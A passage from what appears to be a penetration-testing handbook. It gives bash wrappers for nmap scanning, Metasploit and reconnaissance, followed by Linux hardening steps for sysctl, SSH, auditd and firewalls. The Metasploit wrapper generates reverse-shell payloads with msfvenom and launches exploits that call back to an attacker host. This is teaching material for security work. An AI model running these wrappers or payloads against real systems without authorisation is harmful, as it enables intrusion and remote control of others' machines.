UDP scan\n    all:     All scan types\nEOF\n    exit 1\n}\n\n# Scan profiles\nrun_quick_scan() {\n    local target=$1\n    local output=$2\n    \n    log \"Running quick scan on $target\"\n    nmap -T4 -F -sV -oA \"$output\" \"$target\"\n}\n\nrun_full_scan() {\n    local target=$1\n    local output=$2\n    \n    log \"Running full scan on $target\"\n    nmap -T4 -p- -sC -sV -O -oA \"$output\" \"$target\"\n}\n\nrun_vuln_scan() {\n    local target=$1\n    local output=$2\n    \n    log \"Running vulnerability scan on $target\"\n    nmap -T4 -sV --script vuln -oA \"$output\" \"$target\"\n}\n\nrun_udp_scan() {\n    local target=$1\n    local output=$2\n    \n    log \"Running UDP scan on $target (this may take a while)\"\n    nmap -T4 -sU --top-ports 100 -oA \"$output\" \"$target\"\n}\n\n# Logging function\nlog() {\n    echo \"[$(date '+%Y-%m-%d %H:%M:%S')] $*\"\n}\n\n# Generate report\ngenerate_report() {\n    local output_base=$1\n    local report_file=\"${output_base}_report.html\"\n    \n    log \"Generating HTML report: $report_file\"\n    \n    cat &gt; \"$report_file\" &lt;&lt; EOF\n\n\n\n    Nmap Scan Report\n    \n        body { font-family: Arial, sans-serif; margin: 20px; }\n        h1 { color: #333; }\n        h2 { color: #666; margin-top: 30px; }\n        pre { background: #f5f5f5; padding: 10px; border-radius: 5px; }\n        .timestamp { color: #999; font-size: 0.9em; }\n    \n\n\n    \nNmap Scan Report\n    \nGenerated: $(date)\n    \nTarget: $target\n    \n    \nScan Results\n    \n$(cat \"${output_base}.nmap\" 2&gt;/dev/null)\n    \n    \nOpen Ports Summary\n    \n$(grep -E \"^[0-9]+/tcp\" \"${output_base}.nmap\" 2&gt;/dev/null | sort)\n    \n    \nService Versions\n    \n$(grep -E \"Service Info|OS details\" \"${output_base}.nmap\" 2&gt;/dev/null)\n\n\nEOF\n    \n    log \"Report generated: $report_file\"\n}\n\n# Main execution\nmain() {\n    local profile=\"$DEFAULT_PROFILE\"\n    local output_name=\"\"\n    local verbose=0\n    local target=\"\"\n    \n    # Parse options\n    while getopts \"p:o:vh\" opt; do\n        case $opt in\n            p) profile=\"$OPTARG\" ;;\n            o) output_name=\"$OPTARG\" ;;\n            v) verbose=1 ;;\n            h) usage ;;\n            *) usage ;;\n        esac\n    done\n    \n    shift $((OPTIND-1))\n    target=\"$1\"\n    \n    if [ -z \"$target\" ]; then\n        echo \"Error: Target required\"\n        usage\n    fi\n    \n    # Set output name\n    if [ -z \"$output_name\" ]; then\n        output_name=\"${target}_${profile}_$(date +%Y%m%d_%H%M%S)\"\n    fi\n    \n    output_base=\"$SCAN_DIR/$output_name\"\n    \n    log \"Starting scan with profile: $profile\"\n    log \"Output base: $output_base\"\n    \n    # Run selected profile\n    case \"$profile\" in\n        quick)\n            run_quick_scan \"$target\" \"$output_base\"\n            ;;\n        full)\n            run_full_scan \"$target\" \"$output_base\"\n            ;;\n        vuln)\n            run_vuln_scan \"$target\" \"$output_base\"\n            ;;\n        udp)\n            run_udp_scan \"$target\" \"$output_base\"\n            ;;\n        all)\n            run_quick_scan \"$target\" \"${output_base}_quick\"\n            run_full_scan \"$target\" \"${output_base}_full\"\n            run_vuln_scan \"$target\" \"${output_base}_vuln\"\n            run_udp_scan \"$target\" \"${output_base}_udp\"\n            ;;\n        *)\n            echo \"Error: Unknown profile '$profile'\"\n            usage\n            ;;\n    esac\n    \n    # Generate report\n    generate_report \"$output_base\"\n    \n    log \"Scan complete\"\n    \n    # Open report if GUI available\n    if [ -n \"$DISPLAY\" ] &amp;&amp; command -v xdg-open &gt;/dev/null; then\n        xdg-open \"${output_base}_report.html\"\n    fi\n}\n\n# Run if executed directly\nif [ \"$0\" = \"$BASH_SOURCE\" ]; then\n    main \"$@\"\nfi\n```\n\n#### 5.8.2 Metasploit Wrapper\n\n**Metasploit Automation Script**:\n\n```bash\n#!/bin/bash\n\n# Metasploit wrapper for automated tasks\n\nMSF_DIR=\"$HOME/msf_workspace\"\nmkdir -p \"$MSF_DIR\"\n\nusage() {\n    cat &lt;&lt; EOF\nUsage: $0  [options]\n\nCommands:\n    init             Initialize workspace\n    scan     Run automated scan\n    exploit   \n    shell    Get reverse shell\n    list             List exploits\nEOF\n    exit 1\n}\n\n# Initialize workspace\ninit_workspace() {\n    local workspace=\"workspace_$(date +%Y%m%d)\"\n    \n    cat &gt; \"$MSF_DIR/init.rc\" &lt;&lt; EOF\nworkspace -a $workspace\nworkspace $workspace\ndb_status\nexit\nEOF\n    \n    msfconsole -q -r \"$MSF_DIR/init.rc\"\n    echo \"Workspace initialized: $workspace\"\n}\n\n# Automated scan\nauto_scan() {\n    local target=$1\n    local rcfile=\"$MSF_DIR/scan_${target}.rc\"\n    \n    cat &gt; \"$rcfile\" &lt;&lt; EOF\nworkspace -a scan_${target}\nworkspace scan_${target}\ndb_nmap -sV -O $target\nhosts\nservices\nvulns\nexit\nEOF\n    \n    msfconsole -q -r \"$rcfile\"\n}\n\n# Generate reverse shell payload\ngen_shell() {\n    local lhost=$1\n    local lport=$2\n    local type=${3:-linux}\n    \n    case \"$type\" in\n        linux)\n            msfvenom -p linux/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f elf -o \"$MSF_DIR/shell.elf\"\n            ;;\n        windows)\n            msfvenom -p windows/x64/shell_reverse_tcp LHOST=$lhost LPORT=$lport -f exe -o \"$MSF_DIR/shell.exe\"\n            ;;\n        php)\n            msfvenom -p php/reverse_php LHOST=$lhost LPORT=$lport -o \"$MSF_DIR/shell.php\"\n            ;;\n        python)\n            msfvenom -p python/shell_reverse_tcp LHOST=$lhost LPORT=$lport -o \"$MSF_DIR/shell.py\"\n            ;;\n    esac\n    \n    echo \"Payload generated: $MSF_DIR/shell.$type\"\n}\n\n# Run exploit\nrun_exploit() {\n    local target=$1\n    local port=$2\n    local exploit=$3\n    local rcfile=\"$MSF_DIR/exploit_${target}.rc\"\n    \n    cat &gt; \"$rcfile\" &lt;&lt; EOF\nuse $exploit\nset RHOSTS $target\nset RPORT $port\nset PAYLOAD generic/shell_reverse_tcp\nset LHOST $(ip route get 1 | awk '{print $NF;exit}')\nset LPORT 4444\nrun\nexit\nEOF\n    \n    msfconsole -q -r \"$rcfile\"\n}\n\n# List exploits\nlist_exploits() {\n    local search=$1\n    \n    if [ -n \"$search\" ]; then\n        msfconsole -q -x \"search $search; exit\"\n    else\n        msfconsole -q -x \"show exploits; exit\" | head -50\n    fi\n}\n\n# Main\ncase \"$1\" in\n    init)\n        init_workspace\n        ;;\n    scan)\n        [ -z \"$2\" ] &amp;&amp; echo \"Target required\" &amp;&amp; exit 1\n        auto_scan \"$2\"\n        ;;\n    shell)\n        [ -z \"$2\" ] &amp;&amp; echo \"LHOST required\" &amp;&amp; exit 1\n        [ -z \"$3\" ] &amp;&amp; echo \"LPORT required\" &amp;&amp; exit 1\n        gen_shell \"$2\" \"$3\" \"$4\"\n        ;;\n    exploit)\n        [ -z \"$2\" ] &amp;&amp; echo \"Target required\" &amp;&amp; exit 1\n        [ -z \"$3\" ] &amp;&amp; echo \"Port required\" &amp;&amp; exit 1\n        [ -z \"$4\" ] &amp;&amp; echo \"Exploit required\" &amp;&amp; exit 1\n        run_exploit \"$2\" \"$3\" \"$4\"\n        ;;\n    list)\n        list_exploits \"$2\"\n        ;;\n    *)\n        usage\n        ;;\nesac\n```\n\n#### 5.8.3 Recon Automation Framework\n\n**Complete Recon Framework**:\n\n```bash\n#!/bin/bash\n\n# Comprehensive reconnaissance automation framework\n\n# Configuration\nWORKSPACE=\"$HOME/recon_workspace\"\nTHREADS=20\nTIMEOUT=5\n\n# Colors for output\nRED='\\033[0;31m'\nGREEN='\\033[0;32m'\nYELLOW='\\033[1;33m'\nBLUE='\\033[0;34m'\nNC='\\033[0m' # No Color\n\n# Create workspace\nsetup_workspace() {\n    local target=$1\n    local dir=\"$WORKSPACE/$target/$(date +%Y%m%d_%H%M%S)\"\n    mkdir -p \"$dir\"/{osint,scanning,web,exploitation,loot}\n    echo \"$dir\"\n}\n\n# Logging\nlog() {\n    echo -e \"[$(date '+%Y-%m-%d %H:%M:%S')] $*\" | tee -a \"$workspace/recon.log\"\n}\n\ninfo() {\n    echo -e \"${BLUE}[INFO]${NC} $*\" | tee -a \"$workspace/recon.log\"\n}\n\nsuccess() {\n    echo -e \"${GREEN}[SUCCESS]${NC} $*\" | tee -a \"$workspace/recon.log\"\n}\n\nwarn() {\n    echo -e \"${YELLOW}[WARN]${NC} $*\" | tee -a \"$workspace/recon.log\"\n}\n\nerror() {\n    echo -e \"${RED}[ERROR]${NC} $*\" | tee -a \"$workspace/recon.log\"\n}\n\n# OSINT Phase\nphase_osint() {\n    local domain=$1\n    local outdir=\"$workspace/osint\"\n    \n    info \"Starting OSINT phase for $domain\"\n    \n    # WHOIS lookup\n    log \"Performing WHOIS lookup...\"\n    whois \"$domain\" &gt; \"$outdir/whois.txt\" 2&gt;&amp;1\n    \n    # DNS enumeration\n    log \"DNS enumeration...\"\n    {\n        dig \"$domain\" ANY +noall +answer &gt; \"$outdir/dns_any.txt\"\n        dig \"$domain\" NS +short &gt; \"$outdir/ns_servers.txt\"\n        dig \"$domain\" MX +short &gt; \"$outdir/mx_records.txt\"\n        dig \"$domain\" TXT +short &gt; \"$outdir/txt_records.txt\"\n    } 2&gt;/dev/null\n    \n    # Subdomain discovery\n    log \"Subdomain discovery...\"\n    \n    # Using common tools if available\n    if command -v sublist3r &gt;/dev/null; then\n        sublist3r -d \"$domain\" -o \"$outdir/subdomains_sublist3r.txt\" &gt;/dev/null 2&gt;&amp;1\n    fi\n    \n    if command -v amass &gt;/dev/null; then\n        amass enum -d \"$domain\" -o \"$outdir/subdomains_amass.txt\" &gt;/dev/null 2&gt;&amp;1\n    fi\n    \n    # Brute force with common wordlist\n    if [ -f /usr/share/wordlists/dirb/common.txt ]; then\n        while read -r sub; do\n            host \"$sub.$domain\" &gt;/dev/null 2&gt;&amp;1 &amp;&amp; echo \"$sub.$domain\" &gt;&gt; \"$outdir/subdomains_brute.txt\"\n        done &lt; /usr/share/wordlists/dirb/common.txt\n    fi\n    \n    # Combine and sort subdomains\n    cat \"$outdir\"/subdomains_*.txt 2&gt;/dev/null | sort -u &gt; \"$outdir/subdomains_all.txt\"\n    \n    success \"OSINT phase complete. Found $(wc -l &lt; \"$outdir/subdomains_all.txt\") subdomains\"\n}\n\n# Scanning Phase\nphase_scanning() {\n    local target=$1\n    local outdir=\"$workspace/scanning\"\n    \n    info \"Starting scanning phase for $target\"\n    \n    # Check if target is IP or domain\n    if [[ $target =~ ^[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+$ ]]; then\n        # IP address\n        log \"Target is IP: $target\"\n    else\n        # Domain - resolve to IP\n        target_ip=$(dig +short \"$target\" | head -1)\n        if [ -z \"$target_ip\" ]; then\n            error \"Could not resolve $target\"\n            return 1\n        fi\n        log \"Resolved $target to $target_ip\"\n        echo \"$target_ip\" &gt; \"$outdir/target_ip.txt\"\n    fi\n    \n    # Port scanning\n    log \"Running port scan on $target_ip...\"\n    \n    # Quick port scan\n    nmap -T4 -F -oA \"$outdir/quick_scan\" \"$target_ip\" &gt;/dev/null 2&gt;&amp;1\n    \n    # Full port scan\n    log \"Running full port scan (this may take a while)...\"\n    nmap -T4 -p- -oA \"$outdir/full_scan\" \"$target_ip\" &gt;/dev/null 2&gt;&amp;1\n    \n    # Service detection\n    if [ -f \"$outdir/full_scan.gnmap\" ]; then\n        open_ports=$(grep -oP '\\d+/open' \"$outdir/full_scan.gnmap\" | cut -d/ -f1 | tr '\\n' ',' | sed 's/,$//')\n        \n        if [ -n \"$open_ports\" ]; then\n            log \"Found open ports: $open_ports\"\n            log \"Running service detection...\"\n            nmap -sV -sC -p \"$open_ports\" -oA \"$outdir/service_scan\" \"$target_ip\" &gt;/dev/null 2&gt;&amp;1\n        fi\n    fi\n    \n    # Vulnerability scanning\n    log \"Running vulnerability scan...\"\n    nmap --script vuln -p \"$open_ports\" -oA \"$outdir/vuln_scan\" \"$target_ip\" &gt;/dev/null 2&gt;&amp;1\n    \n    success \"Scanning phase complete\"\n}\n\n# Web Application Phase\nphase_web() {\n    local target=$1\n    local outdir=\"$workspace/web\"\n    \n    info \"Starting web application phase for $target\"\n    \n    # Check for web servers\n    web_ports=$(grep -E \"80/open|443/open|8080/open|8443/open\" \"$workspace/scanning/service_scan.gnmap\" 2&gt;/dev/null | cut -d/ -f1)\n    \n    if [ -n \"$web_ports\" ]; then\n        for port in $web_ports; do\n            protocol=$([ \"$port\" = \"443\" ] || [ \"$port\" = \"8443\" ] &amp;&amp; echo \"https\" || echo \"http\")\n            url=\"${protocol}://$target:$port\"\n            \n            log \"Testing $url\"\n            \n            # HTTP headers\n            curl -s -I -L \"$url\" &gt; \"$outdir/headers_port${port}.txt\" 2&gt;&amp;1\n            \n            # Directory brute force\n            if command -v gobuster &gt;/dev/null; then\n                gobuster dir -u \"$url\" -w /usr/share/wordlists/dirb/common.txt -o \"$outdir/dirs_port${port}.txt\" &gt;/dev/null 2&gt;&amp;1\n            fi\n            \n            # Technology detection\n            if command -v whatweb &gt;/dev/null; then\n                whatweb \"$url\" &gt; \"$outdir/whatweb_port${port}.txt\" 2&gt;&amp;1\n            fi\n            \n            # SSL/TLS check for HTTPS\n            if [ \"$protocol\" = \"https\" ]; then\n                echo | openssl s_client -connect \"$target:$port\" 2&gt;/dev/null | openssl x509 -text &gt; \"$outdir/cert_port${port}.txt\"\n            fi\n        done\n        \n        success \"Web phase complete\"\n    else\n        warn \"No web servers detected\"\n    fi\n}\n\n# Generate Report\ngenerate_report() {\n    local target=$1\n    local report=\"$workspace/recon_report.html\"\n    \n    info \"Generating HTML report...\"\n    \n    cat &gt; \"$report\" &lt;&lt; EOF\n\n\n\n    Reconnaissance Report: $target\n    \n        body { font-family: Arial, sans-serif; margin: 30px; background: #f5f5f5; }\n        h1 { color: #2c3e50; border-bottom: 2px solid #3498db; }\n        h2 { color: #34495e; margin-top: 30px; }\n        .section { background: white; padding: 20px; margin: 20px 0; border-radius: 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }\n        .timestamp { color: #7f8c8d; font-size: 0.9em; }\n        pre { background: #ecf0f1; padding: 10px; border-radius: 3px; overflow-x: auto; }\n        .success { color: #27ae60; }\n        .warning { color: #e67e22; }\n        .error { color: #c0392b; }\n        table { border-collapse: collapse; width: 100%; }\n        th, td { border: 1px solid #bdc3c7; padding: 8px; text-align: left; }\n        th { background: #34495e; color: white; }\n    \n\n\n    \nReconnaissance Report: $target\n    \nGenerated: $(date)\n    \nWorkspace: $workspace\n    \n    \n\n        \nTarget Information\n        \n\n            PropertyValue\n            Target$target\n            Resolution$(cat \"$workspace/scanning/target_ip.txt\" 2&gt;/dev/null || echo \"N/A\")\n        \n    \n    \n    \n\n        \nOSINT Summary\n        \nSubdomains found: $(wc -l &lt; \"$workspace/osint/subdomains_all.txt\" 2&gt;/dev/null || echo \"0\")\n        \n$(head -20 \"$workspace/osint/subdomains_all.txt\" 2&gt;/dev/null)\n        \nView detailed OSINT results\n    \n    \n    \n\n        \nOpen Ports\n        \n$(grep -E \"^[0-9]+/tcp\" \"$workspace/scanning/service_scan.nmap\" 2&gt;/dev/null | sort)\n    \n    \n    \n\n        \nService Versions\n        \n$(grep -E \"Service Info|OS details\" \"$workspace/scanning/service_scan.nmap\" 2&gt;/dev/null)\n    \n    \n    \n\n        \nWeb Applications\n        \n$(ls -la \"$workspace/web/\" 2&gt;/dev/null || echo \"No web applications found\")\n    \n    \n    \n\n        \nPotential Vulnerabilities\n        \n$(grep -E \"VULNERABLE|CVE-\" \"$workspace/scanning/vuln_scan.nmap\" 2&gt;/dev/null | head -20)\n    \n    \n    \n\n        \nReconnaissance Log\n        \n$(tail -50 \"$workspace/recon.log\")\n    \n    \n    \nEnd of report\n\n\nEOF\n    \n    success \"Report generated: $report\"\n    \n    # Open in browser if GUI available\n    if [ -n \"$DISPLAY\" ] &amp;&amp; command -v xdg-open &gt;/dev/null; then\n        xdg-open \"$report\"\n    fi\n}\n\n# Main execution\nmain() {\n    local target=$1\n    \n    if [ -z \"$target\" ]; then\n        echo \"Usage: $0 \"\n        exit 1\n    fi\n    \n    # Check required tools\n    local required_tools=(\"nmap\" \"dig\" \"host\" \"curl\")\n    local missing=()\n    \n    for tool in \"${required_tools[@]}\"; do\n        if ! command -v \"$tool\" &gt;/dev/null; then\n            missing+=(\"$tool\")\n        fi\n    done\n    \n    if [ ${#missing[@]} -gt 0 ]; then\n        error \"Missing required tools: ${missing[*]}\"\n        error \"Install with: apt install nmap dnsutils curl\"\n        exit 1\n    fi\n    \n    # Setup workspace\n    workspace=$(setup_workspace \"$target\")\n    info \"Workspace created: $workspace\"\n    \n    # Run phases\n    phase_osint \"$target\"\n    phase_scanning \"$target\"\n    phase_web \"$target\"\n    \n    # Generate report\n    generate_report \"$target\"\n    \n    success \"Reconnaissance complete!\"\n    info \"Results saved in: $workspace\"\n}\n\n# Run if executed directly\nif [ \"$0\" = \"$BASH_SOURCE\" ]; then\n    main \"$@\"\nfi\n```\n\n# PART II \u2014 CORE LINUX &amp; SHELL MASTERY\n\n## Chapter 6 \u2014 Advanced Linux Administration\n\n### 6.1 System Hardening\n\nSystem hardening is the process of securing a Linux system by reducing its attack surface and implementing security best practices. For penetration testers, understanding hardening is crucial both for securing their own Kali systems and for identifying misconfigurations in target environments.\n\n#### 6.1.1 Operating System Hardening Fundamentals\n\n**Principle of Least Privilege**: Every process and user should have only the minimum privileges necessary to function. This fundamental security principle guides all hardening efforts.\n\n**Attack Surface Reduction**: The fewer services, packages, and features running on a system, the fewer potential vulnerabilities exist. Each enabled service represents a potential entry point for attackers.\n\n**Defense in Depth**: Multiple layers of security controls ensure that if one layer fails, others still provide protection. This includes firewalls, file permissions, authentication controls, and monitoring.\n\n#### 6.1.2 Initial System Hardening Steps\n\n**Minimal Installation Philosophy**:\n\n```bash\n# During installation, select only necessary packages\n# Avoid installing unnecessary metapackages\napt install --no-install-recommends package-name\n\n# Remove unnecessary packages after installation\napt autoremove --purge\n\n# Identify and remove unused services\nsystemctl list-unit-files --type=service --state=enabled\nsystemctl disable --now bluetooth.service cups.service avahi-daemon.service\n```\n\n**Secure Boot Parameters**:\n\n```bash\n# Edit GRUB configuration\ncat &gt;&gt; /etc/default/grub &lt;&lt; EOF\n# Security hardening options\nGRUB_CMDLINE_LINUX_DEFAULT=\"quiet splash slab_nomerge init_on_alloc=1 init_on_free=1 page_alloc.shuffle=1 pti=on randomize_kstack_offset=on spec_store_bypass_disable=on spectre_v2=on\"\nEOF\n\nupdate-grub\n```\n\n**Filesystem Mount Options**:\n\n```bash\n# Secure mount options in /etc/fstab\n# /tmp should be mounted with noexec,nosuid,nodev\ntmpfs /tmp tmpfs defaults,noexec,nosuid,nodev,size=2G 0 0\n\n# /var/tmp similarly\ntmpfs /var/tmp tmpfs defaults,noexec,nosuid,nodev,size=1G 0 0\n\n# /home with nodev,nosuid\n/dev/sda5 /home ext4 defaults,nodev,nosuid 0 2\n\n# Apply without reboot\nmount -o remount /tmp\nmount -o remount /var/tmp\n```\n\n**Kernel Hardening with sysctl**:\n\n```bash\n# /etc/sysctl.d/99-hardening.conf\n\n# IP Spoofing protection\nnet.ipv4.conf.all.rp_filter = 1\nnet.ipv4.conf.default.rp_filter = 1\n\n# Ignore ICMP redirects\nnet.ipv4.conf.all.accept_redirects = 0\nnet.ipv6.conf.all.accept_redirects = 0\nnet.ipv4.conf.all.secure_redirects = 0\nnet.ipv4.conf.all.send_redirects = 0\n\n# Ignore source routed packets\nnet.ipv4.conf.all.accept_source_route = 0\nnet.ipv6.conf.all.accept_source_route = 0\n\n# SYN flood protection\nnet.ipv4.tcp_syncookies = 1\nnet.ipv4.tcp_syn_retries = 2\nnet.ipv4.tcp_synack_retries = 2\n\n# IP forwarding disabling (unless needed)\nnet.ipv4.ip_forward = 0\nnet.ipv6.conf.all.forwarding = 0\n\n# Log Martians (spoofed, source-routed, redirects)\nnet.ipv4.conf.all.log_martians = 1\n\n# Ignore ICMP pings\nnet.ipv4.icmp_echo_ignore_all = 1\nnet.ipv4.icmp_ignore_bogus_error_responses = 1\n\n# Apply settings\nsysctl -p /etc/sysctl.d/99-hardening.conf\n```\n\n#### 6.1.3 User Account Hardening\n\n**Password Policy Configuration**:\n\n```bash\n# Install libpam-pwquality\napt install libpam-pwquality\n\n# Configure password quality\ncat &gt;&gt; /etc/security/pwquality.conf &lt;&lt; EOF\nminlen = 14\ndcredit = -1\nucredit = -1\nocredit = -1\nlcredit = -1\nminclass = 4\nmaxrepeat = 3\ngecoscheck = 1\nEOF\n\n# Configure password aging in /etc/login.defs\nPASS_MAX_DAYS 90\nPASS_MIN_DAYS 7\nPASS_WARN_AGE 14\n```\n\n**Account Lockout Policy**:\n\n```bash\n# Configure pam_tally2 for login failures\ncat &gt;&gt; /etc/pam.d/common-auth &lt;&lt; EOF\nauth required pam_tally2.so deny=5 onerr=fail unlock_time=900\nEOF\n\ncat &gt;&gt; /etc/pam.d/common-account &lt;&lt; EOF\naccount required pam_tally2.so\nEOF\n```\n\n**Sudoers Hardening**:\n\n```bash\n# Secure sudo configuration\nvisudo -f /etc/sudoers.d/hardening\n\n# Add these lines:\nDefaults    env_reset\nDefaults    mail_badpass\nDefaults    secure_path=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\nDefaults    use_pty\nDefaults    logfile=\"/var/log/sudo.log\"\nDefaults    log_input,log_output\nDefaults    requiretty\n\n# Restrict sudo to specific users and commands\nuser ALL=(ALL) ALL  # Too permissive - avoid\nuser ALL=(ALL) /usr/bin/systemctl restart nginx, /usr/bin/journalctl  # Better\n```\n\n#### 6.1.4 SSH Hardening\n\n**Comprehensive SSH Hardening**:\n\n```bash\n# /etc/ssh/sshd_config hardening\ncat &gt;&gt; /etc/ssh/sshd_config &lt;&lt; 'EOF'\n\n# Protocol and Port\nProtocol 2\nPort 2222  # Change from default\n\n# Authentication\nPermitRootLogin prohibit-password\nPubkeyAuthentication yes\nPasswordAuthentication no\nPermitEmptyPasswords no\nChallengeResponseAuthentication no\nKerberosAuthentication no\nGSSAPIAuthentication no\nUsePAM yes\n\n# Key types\nHostKey /etc/ssh/ssh_host_ed25519_key\nHostKey /etc/ssh/ssh_host_rsa_key\nHostKey /etc/ssh/ssh_host_ecdsa_key\n\n# Access control\nAllowUsers analyst john\nAllowGroups sshusers\nDenyUsers root bin daemon\nDenyGroups guests\n\n# Security settings\nLoginGraceTime 30\nMaxAuthTries 3\nMaxSessions 10\nMaxStartups 10:30:60\nClientAliveInterval 300\nClientAliveCountMax 2\nPermitUserEnvironment no\nPrintMotd no\nPrintLastLog yes\nBanner /etc/issue.net\n\n# Forwarding\nAllowTcpForwarding no\nX11Forwarding no\nAllowAgentForwarding no\nPermitTunnel no\n\n# Logging\nSyslogFacility AUTH\nLogLevel VERBOSE\n\n# Ciphers and algorithms (strong only)\nKexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256\nCiphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com\nMACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com\nEOF\n\n# Create login banner\ncat &gt; /etc/issue.net &lt;&lt; EOF\n*******************************************************************\nNOTICE: This system is for authorized use only. All activities are\nmonitored and logged. Unauthorized access is prohibited and will be\nprosecuted to the fullest extent of the law.\n*******************************************************************\nEOF\n\n# Restart SSH\nsystemctl restart sshd\n```\n\n#### 6.1.5 Filesystem Integrity and Monitoring\n\n**AIDE (Advanced Intrusion Detection Environment)**:\n\n```bash\n# Install AIDE\napt install aide aide-common\n\n# Configure AIDE\ncat &gt;&gt; /etc/aide/aide.conf &lt;&lt; EOF\n# Define rules\nDATABASE_OUT=file:/var/lib/aide/aide.db\nDATABASE_IN=file:/var/lib/aide/aide.db\n\n# What to check\n/bin Content\n/sbin Content\n/etc Content\n/usr/bin Content\n/usr/sbin Content\n/boot Content\n/lib Content\n/lib64 Content\n/opt Content\n\n# Exclude some directories\n!/var/log\n!/var/tmp\n!/tmp\n!/proc\n!/sys\n!/dev\n!/run\n!/mnt\n!/media\n!/home  # Optional - exclude home directories\nEOF\n\n# Initialize database\naideinit\nmv /var/lib/aide/aide.db.new /var/lib/aide/aide.db\n\n# Check integrity\naide --check\n\n# Add to cron for regular checks\necho \"0 5 * * * /usr/bin/aide --check | mail -s 'AIDE Daily Report' root\" &gt;&gt; /etc/crontab\n```\n\n**File Integrity Monitoring with Tripwire** (alternative):\n\n```bash\n# Install Tripwire\napt install tripwire\n\n# Configure during installation\n# Set site and local passphrases\ntwadmin --create-polfile /etc/tripwire/twpol.txt\n\n# Initialize database\ntripwire --init\n\n# Check integrity\ntripwire --check\n\n# Update database after legitimate changes\ntripwire --update --twrfile /var/lib/tripwire/report/$(ls -t /var/lib/tripwire/report/ | head -1)\n```\n\n#### 6.1.6 Process Accounting and Auditing\n\n**Process Accounting**:\n\n```bash\n# Install process accounting\napt install acct\n\n# Enable accounting\nsystemctl enable acct\nsystemctl start acct\n\n# View accounting data\nsa          # Summary of commands run\nlastcomm    # Last commands executed\nlastcomm user    # Commands by specific user\nlastcomm command # Usage of specific command\n```\n\n**Comprehensive Auditing with auditd**:\n\n```bash\n# Install auditd\napt install auditd audispd-plugins\n\n# Configure auditd\ncat &gt; /etc/audit/rules.d/hardening.rules &lt;&lt; EOF\n# Remove existing rules\n-D\n\n# Buffer size\n-b 8192\n\n# Failure mode\n-f 1\n\n# Monitor time changes\n-w /etc/localtime -p wa -k time-change\n-w /etc/timezone -p wa -k time-change\n\n# Monitor user/group changes\n-w /etc/passwd -p wa -k identity\n-w /etc/group -p wa -k identity\n-w /etc/shadow -p wa -k identity\n-w /etc/sudoers -p wa -k identity\n\n# Monitor network configuration\n-w /etc/network/ -p wa -k network\n-w /etc/hosts -p wa -k network\n-w /etc/resolv.conf -p wa -k network\n\n# Monitor system configuration\n-w /etc/sysctl.conf -p wa -k sysctl\n-w /etc/security/ -p wa -k security\n\n# Monitor login/logout\n-w /var/log/lastlog -p wa -k logins\n-w /var/run/faillock/ -p wa -k logins\n\n# Monitor process creation\n-a always,exit -S execve -k process\n\n# Monitor file access\n-a always,exit -F arch=b64 -S open,openat,creat -F exit=-EACCES -k access\n-a always,exit -F arch=b64 -S open,openat,creat -F exit=-EPERM -k access\n\n# Monitor module loading\n-w /sbin/insmod -p x -k modules\n-w /sbin/rmmod -p x -k modules\n-w /sbin/modprobe -p x -k modules\n-a always,exit -S init_module -S delete_module -k modules\n\n# Mount operations\n-a always,exit -F arch=b64 -S mount -S umount2 -k mount\n\n# Record all commands as root\n-a exit,always -F arch=b64 -S execve -F euid=0 -k rootcmd\nEOF\n\n# Apply rules\naugenrules --load\nsystemctl enable auditd\nsystemctl restart auditd\n\n# Search audit logs\nausearch -k identity    # Search by key\nausearch -ua 1000       # Search by user ID\nausearch -ts today      # Time-based search\naureport --login        # Login report\naureport --summary      # Summary report\n```\n\n#### 6.1.7 Network Service Hardening\n\n**TCP Wrappers** (legacy but still useful):\n\n```bash\n# /etc/hosts.allow\nsshd: 192.168.1.0/24, 10.0.0.0/8\nvsftpd: .example.com\n\n# /etc/hosts.deny\nALL: ALL  # Deny everything not explicitly allowed\n```\n\n**Port Knocking** for service protection:\n\n```bash\n# Install knockd\napt install knockd\n\n# Configure knockd\ncat &gt; /etc/knockd.conf &lt;&lt; EOF\n[options]\n    logfile = /var/log/knockd.log\n\n[openSSH]\n    sequence    = 7000,8000,9000\n    seq_timeout = 5\n    command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT\n    tcpflags    = syn\n\n[closeSSH]\n    sequence    = 9000,8000,7000\n    seq_timeout = 5\n    command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT\n    tcpflags    = syn\nEOF\n\n# Enable and start knockd\nsystemctl enable knockd\nsystemctl start knockd\n```\n\n#### 6.1.8 Container and Application Hardening\n\n**Docker Security**:\n\n```bash\n# Run containers with minimal privileges\ndocker run --read-only --tmpfs /tmp --cap-drop ALL --cap-add NET_BIND_SERVICE nginx\n\n# Use Docker Bench Security\ngit clone https://github.com/docker/docker-bench-security.git\ncd docker-bench-security\n./docker-bench-security.sh\n\n# Scan images for vulnerabilities\ndocker scan image-name\ntrivy image image-name\n```\n\n**AppArmor Profiles for Applications**:\n\n```bash\n# Create custom AppArmor profile for nginx\ncat &gt; /etc/apparmor.d/usr.sbin.nginx &lt;&lt; EOF\n#include \n\n/usr/sbin/nginx {\n    #include \n    #include \n    \n    capability dac_override,\n    capability net_bind_service,\n    capability setgid,\n    capability setuid,\n    \n    /etc/nginx/** r,\n    /var/log/nginx/** w,\n    /var/lib/nginx/** rwk,\n    /run/nginx.pid rw,\n    /usr/sbin/nginx mr,\n    \n    deny /etc/shadow r,\n    deny /etc/security/** r,\n}\nEOF\n\n# Load profile\napparmor_parser -r /etc/apparmor.d/usr.sbin.nginx\n```\n\n### 6.2 Firewall Configuration (iptables, nftables)\n\nFirewalls are essential for controlling network traffic and protecting systems from unauthorized access.\n\n#### 6.2.1 iptables Fundamentals\n\n**iptables Architecture**:\n\niptables organizes rules into tables, chains, and rules:\n\n- **Tables**: filter (packet filtering), nat (Network Address Translation), mangle (packet modification), raw (connection tracking)\n- **Chains**: PREROUTING, INPUT, FORWARD, OUTPUT, POSTROUTING\n- **Rules**: Match criteria + target (ACCEPT, DROP, REJECT, LOG)\n\n**Basic iptables Commands**:\n\n```bash\n# List rules\niptables -L -n -v\niptables -t nat -L -n -v\n\n# Flush all rules\niptables -F\niptables -t nat 